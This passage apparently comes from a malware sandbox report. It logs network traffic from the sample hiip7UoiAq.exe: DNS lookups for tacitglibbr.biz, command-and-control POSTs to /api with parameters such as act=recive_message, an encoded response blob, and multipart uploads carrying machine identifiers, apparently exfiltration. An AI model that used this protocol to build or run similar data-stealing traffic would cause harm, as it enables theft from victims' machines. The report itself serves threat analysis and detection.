Dec 16, 2024 10:19:01.470102072 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.470125914 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.470276117 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.470299959 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.511339903 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.511549950 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.511594057 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.511635065 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.555336952 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.555480003 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.584252119 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.584268093 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.044905901 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.045006990 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.045054913 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:05.045167923 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:05.045185089 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.055314064 CET	49776	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:05.055355072 CET	443	49776	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.055416107 CET	49776	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:05.055670977 CET	49776	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:05.055685997 CET	443	49776	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:05.896948099 CET	49776	443	192.168.2.9	172.67.164.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 10:18:41.925218105 CET	56849	53	192.168.2.9	1.1.1.1
Dec 16, 2024 10:18:42.062541008 CET	53	56849	1.1.1.1	192.168.2.9
Dec 16, 2024 10:18:48.682708025 CET	64154	53	192.168.2.9	1.1.1.1
Dec 16, 2024 10:18:48.823658943 CET	53	64154	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 10:18:41.925218105 CET	192.168.2.9	1.1.1.1	0x55e2	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:18:48.682708025 CET	192.168.2.9	1.1.1.1	0xf2b	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 10:18:36.349406004 CET	1.1.1.1	192.168.2.9	0xb9b9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 10:18:36.349406004 CET	1.1.1.1	192.168.2.9	0xb9b9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:18:42.062541008 CET	1.1.1.1	192.168.2.9	0x55e2	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:18:42.062541008 CET	1.1.1.1	192.168.2.9	0x55e2	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:18:48.823658943 CET	1.1.1.1	192.168.2.9	0xf2b	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:18:48.823658943 CET	1.1.1.1	192.168.2.9	0xf2b	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tacitglibbr.biz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	104.21.50.161	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:43 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 09:18:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 09:18:44 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bhheuvccvkol9kbpb5p83humb6; expires=Fri, 11-Apr-2025 03:05:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JhsW1MWRvi3IGP1OV4FqCKYwmY5tpkjUwjnOFdmQrA%2BEyNpuQxNmh1b%2FpPdFJO2C8PnQ41E%2F6rHBsPINSTSPIw1O4dKBZR%2BEVaf8MbHgjh2KWJLAgRV%2F9pcb9PykkfRpmkE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d96724f9c4361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1580&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1830721&cwnd=221&unsent_bytes=0&cid=edbf63ac6eaaef8a&ts=819&x=0"
2024-12-16 09:18:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 09:18:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49723	104.21.50.161	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:45 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 09:18:45 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 09:18:48 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ve2shk3j8ik7mplv2vbblanhj; expires=Fri, 11-Apr-2025 03:05:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3OjMDZRGGjSK6q6%2FuoofIGjWzOFezAer2mhIFw31iptJhT76nlUmdYbDiMseBr7BMadplmgdnJfGu5Jo36aeFwFwQfzgf0zO8ym7EkPjFKyx3F16FIGQgFcTbviONBjyj54%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d968158545e6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1580&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=946&delivery_rate=1763285&cwnd=252&unsent_bytes=0&cid=bafc74fdcc664065&ts=2588&x=0"
2024-12-16 09:18:48 UTC	361	IN	Data Raw: 31 64 33 35 0d 0a 59 4b 34 37 2b 32 34 57 78 37 6a 6b 7a 4e 68 33 35 62 55 74 34 51 50 67 6d 67 6a 4a 4d 32 56 43 61 70 38 37 38 6f 64 30 4c 63 6f 62 6a 45 33 5a 56 43 4c 72 6d 70 65 70 2b 6b 32 52 78 31 69 45 4c 38 4c 37 62 4f 73 4a 41 79 4d 47 37 46 37 65 70 51 4a 41 36 46 72 49 57 70 63 64 63 2b 75 61 67 62 54 36 54 62 37 4f 44 34 52 74 77 71 41 71 72 46 6b 48 49 77 62 39 57 70 6e 6f 42 45 47 70 43 4d 4a 63 6b 77 74 31 6f 39 6d 49 6f 62 30 53 67 4e 52 48 6a 32 71 4e 38 6d 58 72 48 30 63 6e 45 4c 30 42 30 4d 6f 52 57 61 73 74 7a 30 69 51 54 47 76 72 77 38 61 70 74 6c 58 66 6c 30 79 45 59 59 7a 38 62 4b 4a 62 44 53 6f 4f 2f 46 2b 59 39 78 31 4c 6f 67 6a 4d 58 35 49 42 66 4c 66 55 67 71 61 32 46 49 72 55 44 38 30 68 68 65 41 71 38 78 46 55 45 67 76 73 53 Data Ascii: 1d35YK47+24Wx7jkzNh35bUt4QPgmgjJM2VCap878od0LcobjE3ZVCLrmpep+k2Rx1iEL8L7bOsJAyMG7F7epQJA6FrIWpcdc+uagbT6Tb7OD4RtwqAqrFkHIwb9WpnoBEGpCMJckwt1o9mIob0SgNRHj2qN8mXrH0cnEL0B0MoRWastz0iQTGvrw8aptlXfl0yEYYz8bKJbDSoO/F+Y9x1LogjMX5IBfLfUgqa2FIrUD80hheAq8xFUEgvsS
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 78 45 4a 58 63 52 6f 35 73 67 76 56 67 70 46 49 48 4a 77 4c 33 56 70 72 68 47 30 4b 75 41 73 77 5a 31 30 78 7a 76 5a 72 65 37 70 6b 51 6c 39 42 44 6c 53 4f 34 75 48 58 6c 53 45 63 6e 42 4c 30 42 30 4f 30 54 54 4b 73 4a 77 31 71 52 42 32 61 6c 79 49 43 6a 76 77 65 42 30 6b 47 4a 59 70 44 79 5a 4b 31 53 44 69 73 42 2b 46 36 55 70 56 67 50 72 78 71 4d 41 64 6b 74 65 61 37 57 6a 4c 6d 36 56 5a 69 5a 56 73 4e 6d 6a 72 67 79 36 31 55 47 4a 41 6e 35 56 35 37 68 47 6b 6d 6d 44 38 4e 66 6b 77 78 7a 72 39 4b 4f 72 37 63 65 69 4e 64 4b 6a 6d 57 45 39 47 75 75 45 55 6c 67 44 2b 55 5a 79 4b 55 34 53 4b 73 51 6a 6d 79 61 41 6e 71 69 7a 4d 61 78 39 41 7a 48 30 45 50 44 4f 63 4c 32 62 36 52 44 42 6a 49 4e 38 30 75 63 34 42 42 43 71 77 7a 4d 58 4a 34 42 65 71 50 64 68 61 Data Ascii: xEJXcRo5sgvVgpFIHJwL3VprhG0KuAswZ10xzvZre7pkQl9BDlSO4uHXlSEcnBL0B0O0TTKsJw1qRB2alyICjvweB0kGJYpDyZK1SDisB+F6UpVgPrxqMAdktea7WjLm6VZiZVsNmjrgy61UGJAn5V57hGkmmD8Nfkwxzr9KOr7ceiNdKjmWE9GuuEUlgD+UZyKU4SKsQjmyaAnqizMax9AzH0EPDOcL2b6RDBjIN80uc4BBCqwzMXJ4BeqPdha
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 30 45 50 44 4f 63 4c 31 59 71 35 55 43 43 45 43 38 31 79 61 36 52 35 42 71 78 44 44 58 5a 6b 41 66 4b 2f 58 69 4b 71 79 48 49 7a 63 53 59 4e 67 69 4c 67 6b 36 31 59 66 59 46 43 39 62 5a 66 70 47 30 44 71 4e 38 39 58 6c 77 74 69 35 63 58 49 74 2f 6f 53 69 35 63 58 77 32 32 4c 2b 47 47 68 56 51 63 6e 42 66 68 61 6c 2b 59 62 53 4b 49 4d 79 31 32 56 42 58 6d 6a 32 6f 47 71 76 77 65 43 33 6b 4f 50 49 63 79 34 62 62 4d 52 58 32 41 6e 2b 6b 2b 54 79 68 56 65 6f 55 4c 54 46 34 42 4d 63 36 6d 61 33 75 36 39 45 49 2f 63 53 59 74 68 6b 50 31 6b 6f 46 41 4e 4a 67 6e 77 56 5a 62 6c 46 30 2b 75 44 73 78 65 6e 68 35 6d 6f 4e 79 55 70 50 70 62 78 39 42 58 77 7a 6e 43 7a 6e 71 38 51 42 46 69 50 66 35 58 6e 75 49 41 44 37 64 4d 31 52 6d 65 41 44 54 39 6d 6f 32 75 74 68 4b Data Ascii: 0EPDOcL1Yq5UCCEC81ya6R5BqxDDXZkAfK/XiKqyHIzcSYNgiLgk61YfYFC9bZfpG0DqN89Xlwti5cXIt/oSi5cXw22L+GGhVQcnBfhal+YbSKIMy12VBXmj2oGqvweC3kOPIcy4bbMRX2An+k+TyhVeoULTF4BMc6ma3u69EI/cSYthkP1koFANJgnwVZblF0+uDsxenh5moNyUpPpbx9BXwznCznq8QBFiPf5XnuIAD7dM1RmeADT9mo2uthK
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 32 79 47 39 47 36 6a 57 67 31 67 52 72 31 65 69 4b 56 4f 44 35 30 50 77 31 6d 61 47 6a 53 36 6c 4a 2f 75 76 52 6e 48 6a 77 2b 50 62 34 4c 33 5a 71 64 61 44 79 45 45 38 31 36 56 37 42 35 48 75 67 50 49 55 5a 67 43 65 36 54 65 67 36 75 2b 45 6f 50 52 51 4d 4d 76 77 76 39 79 36 77 6c 48 44 79 2f 49 47 37 48 66 56 6c 44 6d 47 34 78 65 6c 55 77 73 35 64 61 46 6f 72 49 61 67 64 35 44 69 57 69 4a 39 47 47 76 58 51 34 6c 44 76 78 63 6c 65 51 53 51 36 49 45 7a 31 71 57 41 33 75 74 6d 73 6a 75 76 51 33 48 6a 77 2b 6d 64 6f 6e 32 62 4f 74 4f 53 54 6c 49 2b 6c 58 51 76 56 5a 44 6f 51 54 4b 58 4a 55 4e 63 71 33 66 6a 71 71 37 45 34 48 55 51 49 64 6b 67 2f 64 75 70 31 38 4e 49 51 6e 78 55 70 2f 75 45 77 2f 6d 51 73 74 42 32 56 51 30 6c 4e 6d 51 75 61 6f 5a 78 38 67 42 Data Ascii: 2yG9G6jWg1gRr1eiKVOD50Pw1maGjS6lJ/uvRnHjw+Pb4L3ZqdaDyEE816V7B5HugPIUZgCe6Teg6u+EoPRQMMvwv9y6wlHDy/IG7HfVlDmG4xelUws5daForIagd5DiWiJ9GGvXQ4lDvxcleQSQ6IEz1qWA3utmsjuvQ3Hjw+mdon2bOtOSTlI+lXQvVZDoQTKXJUNcq3fjqq7E4HUQIdkg/dup18NIQnxUp/uEw/mQstB2VQ0lNmQuaoZx8gB
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 41 71 38 78 45 70 4b 78 76 71 57 70 37 75 41 46 54 6f 48 59 4a 41 32 51 74 34 35 59 4c 47 72 62 45 65 67 39 64 44 67 32 57 50 2b 48 69 6b 56 67 41 70 41 2b 39 54 6c 2b 49 64 52 36 4d 4e 79 6b 75 56 41 6d 61 67 79 4a 54 75 39 46 57 41 7a 77 2f 62 49 62 54 2f 65 72 74 53 52 52 45 65 2f 6b 2b 62 36 42 6f 50 74 30 7a 56 47 5a 34 41 4e 50 32 61 67 4b 47 7a 46 6f 6a 57 52 6f 39 73 68 2f 46 76 71 6c 63 44 4b 67 4c 39 58 35 62 6b 45 30 57 72 41 38 5a 51 6e 67 52 7a 70 73 6a 47 34 50 6f 53 6e 35 63 58 77 30 69 46 36 6d 53 37 45 52 68 75 45 62 31 65 6e 4b 56 4f 44 36 77 49 77 31 32 65 41 48 4b 67 33 49 75 76 74 52 53 48 32 45 75 49 61 49 54 35 5a 36 35 63 41 7a 49 43 39 6c 61 63 37 42 70 43 36 45 79 4d 58 6f 46 4d 4c 4f 58 72 69 36 43 30 45 70 47 58 55 4d 31 34 77 Data Ascii: Aq8xEpKxvqWp7uAFToHYJA2Qt45YLGrbEeg9dDg2WP+HikVgApA+9Tl+IdR6MNykuVAmagyJTu9FWAzw/bIbT/ertSRREe/k+b6BoPt0zVGZ4ANP2agKGzFojWRo9sh/FvqlcDKgL9X5bkE0WrA8ZQngRzpsjG4PoSn5cXw0iF6mS7ERhuEb1enKVOD6wIw12eAHKg3IuvtRSH2EuIaIT5Z65cAzIC9lac7BpC6EyMXoFMLOXri6C0EpGXUM14w
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 58 41 53 73 45 37 31 43 51 35 68 30 50 35 6b 4c 4c 51 64 6c 55 4e 49 62 4e 6b 4b 53 39 47 5a 48 63 54 6f 42 33 6a 2b 67 71 35 52 45 57 4a 78 6d 39 41 59 62 31 41 55 69 33 54 4e 55 5a 6e 67 41 30 2f 5a 71 41 70 37 77 53 67 64 6c 64 68 6d 65 4e 39 32 4f 69 56 51 38 6a 43 50 6c 64 6c 2b 41 56 51 36 4d 46 7a 31 61 64 42 58 71 73 31 63 62 67 2b 68 4b 66 6c 78 66 44 51 4a 6e 37 5a 71 59 52 47 47 34 52 76 56 36 63 70 55 34 50 70 41 7a 4a 57 5a 4d 4b 63 4b 44 63 6a 4b 75 36 48 6f 54 59 53 34 56 6c 6a 66 68 68 6f 6c 41 42 4a 51 4c 32 58 35 33 6d 45 45 6e 6f 54 49 78 65 67 55 77 73 35 66 71 64 6f 37 59 53 78 38 67 42 6d 69 47 46 39 43 72 7a 45 51 77 73 44 50 70 5a 6e 65 59 65 53 71 77 49 79 56 6d 52 48 6e 79 6c 33 5a 53 38 75 68 79 43 32 30 79 44 5a 59 54 78 62 4b Data Ascii: XASsE71CQ5h0P5kLLQdlUNIbNkKS9GZHcToB3j+gq5REWJxm9AYb1AUi3TNUZngA0/ZqAp7wSgdldhmeN92OiVQ8jCPldl+AVQ6MFz1adBXqs1cbg+hKflxfDQJn7ZqYRGG4RvV6cpU4PpAzJWZMKcKDcjKu6HoTYS4VljfhholABJQL2X53mEEnoTIxegUws5fqdo7YSx8gBmiGF9CrzEQwsDPpZneYeSqwIyVmRHnyl3ZS8uhyC20yDZYTxbK
2024-12-16 09:18:48 UTC	279	IN	Data Raw: 4e 72 30 42 69 64 74 57 52 4c 34 46 33 46 71 50 42 33 6d 70 79 37 6a 75 34 6b 48 56 68 52 33 52 4d 35 32 34 64 5a 51 66 52 79 46 49 70 57 43 4a 70 51 41 50 38 46 43 43 47 59 74 4d 4c 4f 57 64 68 62 79 6f 45 34 54 42 54 4d 52 66 76 4e 39 38 6f 56 59 58 4a 78 2f 79 47 64 36 6c 47 51 2f 77 4f 34 78 51 6e 68 64 6c 73 39 65 57 71 66 6f 71 79 5a 64 58 77 7a 6e 43 7a 57 6d 6c 58 77 41 32 47 62 42 2b 68 75 38 52 58 36 38 56 77 78 6e 58 54 48 4c 6c 67 74 58 67 2b 68 47 57 6c 78 66 54 4d 39 6d 74 4f 66 77 42 56 54 39 47 35 42 6d 47 70 55 34 64 35 6b 4c 65 47 63 46 4d 4d 36 62 49 6c 4b 69 35 41 34 53 51 63 62 31 47 6d 50 56 73 76 45 41 35 48 67 2f 6e 56 4a 62 79 42 77 4f 39 41 63 4a 58 6e 68 6f 30 36 35 71 4a 37 75 49 73 78 35 38 50 76 43 2f 43 34 43 72 7a 45 54 49 Data Ascii: Nr0BidtWRL4F3FqPB3mpy7ju4kHVhR3RM524dZQfRyFIpWCJpQAP8FCCGYtMLOWdhbyoE4TBTMRfvN98oVYXJx/yGd6lGQ/wO4xQnhdls9eWqfoqyZdXwznCzWmlXwA2GbB+hu8RX68VwxnXTHLlgtXg+hGWlxfTM9mtOfwBVT9G5BmGpU4d5kLeGcFMM6bIlKi5A4SQcb1GmPVsvEA5Hg/nVJbyBwO9AcJXnho065qJ7uIsx58PvC/C4CrzETI
2024-12-16 09:18:48 UTC	1369	IN	Data Raw: 38 30 66 0d 0a 4d 62 32 36 6c 76 48 30 31 37 44 4f 64 4b 71 4d 66 34 43 55 48 42 61 34 68 65 4a 70 51 41 50 38 46 43 43 47 59 74 4d 4c 4f 57 64 68 62 79 6f 45 34 54 42 54 4d 52 66 76 4e 5a 74 72 56 51 41 4d 45 72 54 55 6f 54 69 56 67 48 6f 44 59 77 42 6f 45 77 38 35 65 58 49 37 71 4a 56 33 35 64 36 67 47 2b 4d 2f 33 79 36 48 43 6b 6e 44 76 68 65 67 4b 63 34 52 4c 77 46 6a 42 66 5a 43 6a 54 39 69 73 6a 75 76 67 54 48 6a 78 2f 52 4f 74 65 72 50 66 73 44 47 47 34 52 76 55 2f 51 76 55 51 42 36 42 43 4d 41 64 6c 4c 64 37 66 49 67 4b 32 73 46 73 44 70 63 59 42 33 6a 2f 64 68 71 6d 38 35 44 67 58 38 57 70 36 6e 4a 31 6d 6c 45 73 39 63 6e 6a 4a 4b 71 39 32 53 71 62 51 54 68 35 63 42 77 32 37 43 6f 46 50 72 47 55 63 66 52 72 31 42 30 4c 31 57 65 71 73 4d 77 6c 36 Data Ascii: 80fMb26lvH017DOdKqMf4CUHBa4heJpQAP8FCCGYtMLOWdhbyoE4TBTMRfvNZtrVQAMErTUoTiVgHoDYwBoEw85eXI7qJV35d6gG+M/3y6HCknDvhegKc4RLwFjBfZCjT9isjuvgTHjx/ROterPfsDGG4RvU/QvUQB6BCMAdlLd7fIgK2sFsDpcYB3j/dhqm85DgX8Wp6nJ1mlEs9cnjJKq92SqbQTh5cBw27CoFPrGUcfRr1B0L1WeqsMwl6
2024-12-16 09:18:48 UTC	701	IN	Data Raw: 35 72 65 2f 50 52 56 6c 5a 63 58 77 79 61 42 36 6e 69 74 55 68 45 6a 54 38 4e 6e 74 2b 73 52 54 72 34 53 77 56 57 34 44 32 57 76 35 4c 69 37 75 52 75 4a 30 46 6d 53 49 63 79 34 5a 65 73 4a 50 6d 42 41 76 57 62 65 70 51 34 50 38 45 4c 35 57 70 63 43 63 37 50 4c 79 34 6d 30 45 6f 62 42 58 34 35 74 6f 2f 74 37 6f 52 46 4a 59 41 36 39 41 63 4b 72 56 6b 75 35 51 70 51 4a 79 31 63 68 39 6f 33 57 2f 4b 56 62 6e 70 64 5a 77 7a 6e 51 74 69 71 35 45 56 39 67 54 2f 35 4c 67 75 4d 56 57 61 74 46 38 6d 65 38 47 33 65 31 33 49 57 51 68 44 36 4c 30 55 69 5a 5a 6f 54 65 53 75 73 66 52 79 39 49 70 57 44 51 72 56 5a 77 35 6b 4c 55 47 63 46 4d 51 61 62 55 69 4b 6d 73 42 4d 72 79 57 49 42 78 68 50 73 71 35 52 45 42 59 46 43 74 46 39 44 68 42 77 2f 77 55 70 34 43 7a 46 38 6a Data Ascii: 5re/PRVlZcXwyaB6nitUhEjT8Nnt+sRTr4SwVW4D2Wv5Li7uRuJ0FmSIcy4ZesJPmBAvWbepQ4P8EL5WpcCc7PLy4m0EobBX45to/t7oRFJYA69AcKrVku5QpQJy1ch9o3W/KVbnpdZwznQtiq5EV9gT/5LguMVWatF8me8G3e13IWQhD6L0UiZZoTeSusfRy9IpWDQrVZw5kLUGcFMQabUiKmsBMryWIBxhPsq5REBYFCtF9DhBw/wUp4CzF8j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49734	172.67.164.37	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:50 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A2MM71AZHUG66WQF8Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12845 Host: tacitglibbr.biz
2024-12-16 09:18:50 UTC	12845	OUT	Data Raw: 2d 2d 41 32 4d 4d 37 31 41 5a 48 55 47 36 36 57 51 46 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 42 43 38 38 44 33 46 42 37 33 45 45 30 41 31 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 41 32 4d 4d 37 31 41 5a 48 55 47 36 36 57 51 46 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 32 4d 4d 37 31 41 5a 48 55 47 36 36 57 51 46 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --A2MM71AZHUG66WQF8YContent-Disposition: form-data; name="hwid"2BC88D3FB73EE0A1F9F1B7136A1E0C5E--A2MM71AZHUG66WQF8YContent-Disposition: form-data; name="pid"2--A2MM71AZHUG66WQF8YContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 09:18:51 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qjd6ucbli6gok064fhb46j9n8k; expires=Fri, 11-Apr-2025 03:05:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hmn08zKiLvHDep%2BGLUdLOdhMjmkHfbVWLZj%2F%2BqpdlHE0OAa0gc29FTKWMApOvZRMfYZZN40lYGyutOZWFGT3f6FW6Amoj%2FIxLVpht%2F0RDIxgXLxH8kXNXIvVf4HrxGWg7sY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d969bcdde78d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1774&rtt_var=672&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13784&delivery_rate=1621321&cwnd=144&unsent_bytes=0&cid=ef4755af6e25dde5&ts=1627&x=0"
2024-12-16 09:18:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:18:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49740	172.67.164.37	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:53 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y5SRNMW2YLBVAO1BEOI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: tacitglibbr.biz
2024-12-16 09:18:53 UTC	15069	OUT	Data Raw: 2d 2d 59 35 53 52 4e 4d 57 32 59 4c 42 56 41 4f 31 42 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 42 43 38 38 44 33 46 42 37 33 45 45 30 41 31 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 59 35 53 52 4e 4d 57 32 59 4c 42 56 41 4f 31 42 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 35 53 52 4e 4d 57 32 59 4c 42 56 41 4f 31 42 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --Y5SRNMW2YLBVAO1BEOIContent-Disposition: form-data; name="hwid"2BC88D3FB73EE0A1F9F1B7136A1E0C5E--Y5SRNMW2YLBVAO1BEOIContent-Disposition: form-data; name="pid"2--Y5SRNMW2YLBVAO1BEOIContent-Disposition: form-data; name="lid"PsFKDg--pa
